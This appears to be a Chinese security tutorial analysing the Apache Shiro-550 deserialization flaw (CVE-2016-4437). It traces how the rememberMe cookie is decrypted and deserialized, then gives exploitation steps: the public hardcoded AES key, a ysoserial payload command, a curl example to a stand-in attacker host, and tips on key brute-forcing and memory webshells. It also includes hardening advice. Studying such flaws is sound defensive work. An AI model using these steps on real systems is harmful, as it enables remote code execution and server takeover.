Shiro反序列化 逆向分析代码及漏洞利用
字数 4695 2025-11-08 10:04:01
Apache Shiro 反序列化漏洞 (Shiro-550) 深度分析与利用教学
一、 漏洞概述
漏洞编号: CVE-2016-4437,通常被称为 Shiro-550。
漏洞影响:
- 受影响版本: Apache Shiro <= 1.2.4
- 漏洞本质: 由于加密密钥硬编码在框架源码中,攻击者可以伪造恶意的
rememberMeCookie,触发Java反序列化漏洞,最终实现远程代码执行(RCE)。
核心原因:
- 硬编码密钥: Shiro 1.2.4及之前版本,用于加密
rememberMeCookie的AES密钥是默认的、公开的硬编码值:kPH+bIxk5D2deZiIxcaaaA==(Base64编码)。 - 危险的反序列化: Shiro在接收到
rememberMeCookie后,会先进行AES解密,然后直接将解密后的数据传递给ObjectInputStream.readObject()方法进行反序列化,没有任何安全过滤或白名单机制。
二、 环境搭建
所需组件:
- JDK: 1.8.0_65 (建议与漏洞环境保持一致)
- Web服务器: Apache Tomcat 8
- 漏洞应用: 使用一个包含Shiro 1.2.4的演示项目(例如P神提供的
shirodemo)。
搭建步骤:
- 获取项目: 克隆演示项目
https://github.com/phith0n/JavaThings/tree/master/shirodemo并用IDEA打开。 - 配置Tomcat:
- 在IDEA的
Settings/Build, Execution, Deployment/Application Servers中添加Tomcat 8的路径。 - 进入
Run/Debug Configurations,添加一个Tomcat Server本地配置。 - 在
Deployment选项卡中,添加项目生成的Artifact(通常是war包)。 - 在
Server选项卡中,将URL设置为http://localhost:8080(注意不要加login.jsp)。
- 在IDEA的
- 运行测试:
- 启动Tomcat,访问应用。默认登录凭证为
root/secret。 - 抓包技巧: 如果Burp Suite无法抓取
localhost的流量,可以使用本机IPv4地址(如http://192.168.x.x:8080)进行访问。
- 启动Tomcat,访问应用。默认登录凭证为
三、 漏洞原理深入分析
3.1 攻击触发点 - RememberMe Cookie
当用户登录时勾选“记住我”,Shiro会在登录成功的HTTP响应头中设置一个 rememberMe Cookie。攻击者关注的正是这个Cookie。
- 攻击者可以伪造一个恶意的
rememberMeCookie,发送给服务端。 - 服务端会自动对这个Cookie进行解密和反序列化处理。
3.2 服务端处理流程(逆向分析)
攻击流程的核心在于理解Shiro服务端如何处理 rememberMe Cookie。其调用栈如下:
-
CookieRememberMeManager.getRememberedPrincipals(SubjectContext subjectContext)- 这是入口点,负责从HTTP请求中获取Cookie。
- 关键代码:
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
-
getRememberedSerializedIdentity(SubjectContext subjectContext)- 功能: 充当“海关”,提取并预处理Cookie。
- 详细步骤:
a.WebUtils.isHttp(...): 检查是否为HTTP请求。
b.isIdentityRemoved(...): 检查身份是否已被标记为清除(如用户注销),防止无效操作。
c.WebUtils.getHttpRequest(...): 获取HttpServletRequest对象。
d.getCookie().readValue(...): 从请求头中读取rememberMeCookie的值。
e.Base64.decode(...): 将Cookie值(Base64编码)解码成原始字节数组。解码前会调用ensurePadding(base64)来补全可能被浏览器截掉的=号。 - 输出: 返回解码后的字节数组。
-
AbstractRememberMeManager.convertBytesToPrincipals(byte[] bytes)- 这是最核心、最危险的方法。 它执行两个致命操作:
a.byte[] decrypted = decrypt(bytes);// AES解密
b.return deserialize(decrypted);// 反序列化
- 这是最核心、最危险的方法。 它执行两个致命操作:
-
解密过程
decrypt(byte[] encrypted)- 算法: AES-128-CBC模式,PKCS5Padding填充。
- 密钥: 通过
getDecryptionCipherKey()获取。逆向追踪发现,该密钥在AbstractRememberMeManager中是一个硬编码的常量值。 - 数据格式: 加密数据由 16字节的随机IV(初始化向量) 和 实际的加密序列化数据 拼接而成:
[IV][Ciphertext]。 - 加密流程伪代码:
public byte[] encrypt(byte[] plaintext) { byte[] iv = generateInitializationVector(true); // 生成16字节IV byte[] ciphertext = getCipherService().encrypt(plaintext, encryptionCipherKey, iv).getBytes(); return ByteSource.Util.concat(iv, ciphertext).getBytes(); // 拼接IV+密文 }
-
反序列化过程
deserialize(byte[] serialized)- 最终调用
DefaultSerializer.deserialize(byte[])。 - 致命代码:
return new ObjectInputStream(bytes).readObject(); - 漏洞根源: 这里直接调用了Java原生的
readObject()方法。该方法会递归反序列化数据流中的对象,并自动执行该对象的readObject()方法。如果序列化数据包含恶意构造的链,就能执行任意代码。
- 最终调用
3.3 加密过程(顺向分析)
登录时,Shiro如何生成Cookie?
- 从
CookieRememberMeManager.onSuccessfulLogin()开始。 - 调用
rememberIdentity(subject, token, info)。 - 最终进入
AbstractRememberMeManager.convertPrincipalsToBytes(PrincipalCollection principals)。 - 其内部流程是:
serialize(principals)->encrypt(serializedBytes)。 - 加密过程与解密对称,使用相同的硬编码密钥,最后将结果进行Base64编码,设置为Cookie。
四、 漏洞利用(Shiro-550)
4.1 利用前提
- 已知默认密钥
kPH+bIxk5D2deZiIxcaaaA==(或目标系统使用了其他弱密钥)。 - 目标环境中存在可利用的第三方反序列化利用链(Gadget Chain)的JAR包,例如:
- Commons-Collections (CC链,如CC5, CC6, CC7)
- Commons-Beanutils (CB链)
4.2 利用步骤(以CC5链为例)
-
手工序列化恶意对象:
- 使用
ysoserial或类似工具,选择一条可用的链(如CommonsCollections5)和要执行的命令(如"curl http://attacker.com/shell"或计算器"calc"),生成恶意的序列化字节数组。 java -jar ysoserial.jar CommonsCollections5 "calc" > payload.ser
- 使用
-
实现AES-CBC加密:
- 使用Shiro相同的加密方式处理恶意序列化数据。
- a. 读取
payload.ser得到明文plaintext。 - b. 生成一个16字节的随机IV。
- c. 使用硬编码密钥
kPH+bIxk5D2deZiIxcaaaA==(解码后)和生成的IV,以AES-CBC模式加密plaintext。 - d. 将IV和加密后的密文拼接:
final_cipher = IV + ciphertext。
-
Base64编码:
- 将
final_cipher进行Base64编码。
- 将
-
发起攻击:
- 将编码后的字符串作为
rememberMeCookie的值,在HTTP请求中发送给目标Shiro应用。
- 将编码后的字符串作为
4.3 实战技巧
- 密钥爆破: 如果目标系统修改了默认密钥,可以使用工具(如ShiroAttack2, shiro-exploit)进行常见密钥的爆破。
- 无回显利用: 如果命令执行没有回显,可以使用DNSLog、HTTP请求外带等方式验证漏洞存在性。
- 内存马注入: 在更高阶的攻击中,可以利用反序列化漏洞向JVM中注入内存Webshell(如Tomcat Filter型内存马),实现持久化控制。
五、 Java安全机制与漏洞根源
- Java序列化危险特性:
- 任意类实例化:
readObject()可以实例化任意类路径下的对象。 - 自动递归: 会递归地反序列化一个对象所引用的所有其他对象。
- 魔术方法: 许多类有自己的
readObject()、readResolve()等方法,反序列化时会自动调用,为攻击者提供了执行点。
- 任意类实例化:
- 反射: 利用链大量使用Java反射机制来动态调用危险方法,绕过直接代码调用限制。
六、 加固方案
- 升级Shiro: 立即升级到Shiro 1.2.5及以上版本。新版本要求开发者必须自行配置密钥,不再使用硬编码默认值。
- 自定义强密钥: 如果必须使用旧版,务必在配置中指定一个高强度的、保密的AES密钥。
# shiro.ini securityManager.rememberMeManager.cipherKey = base64编码的强随机密钥 - 使用RememberMe白名单: 通过重写
AbstractRememberMeManager的deserialize方法,实现反序列化类的白名单过滤。这是最根本的解决方案。 - JVM层防护: 使用Java安全管理器(Security Manager)或第三方RASP(运行时应用自我保护)产品来限制危险操作,如执行命令、反射调用等。
七、 总结
Shiro-550漏洞是一个经典的“缺省不安全”案例。其分析过程涵盖了Web安全、密码学、Java虚拟机机制和软件工程等多个层面。真正的安全研究需要深入到字节码和JVM层面,理解每一行代码背后的实际行为。通过手动逆向分析加密解密流程,安全研究人员不仅能复现漏洞,更能举一反三,发现和防御同类问题。
参考资料:
- Drunkbaby's Blog: "Java反序列化Shiro篇01-Shiro550流程分析"
- Phith0n's shirodemo Project:
https://github.com/phith0n/JavaThings/tree/master/shirodemo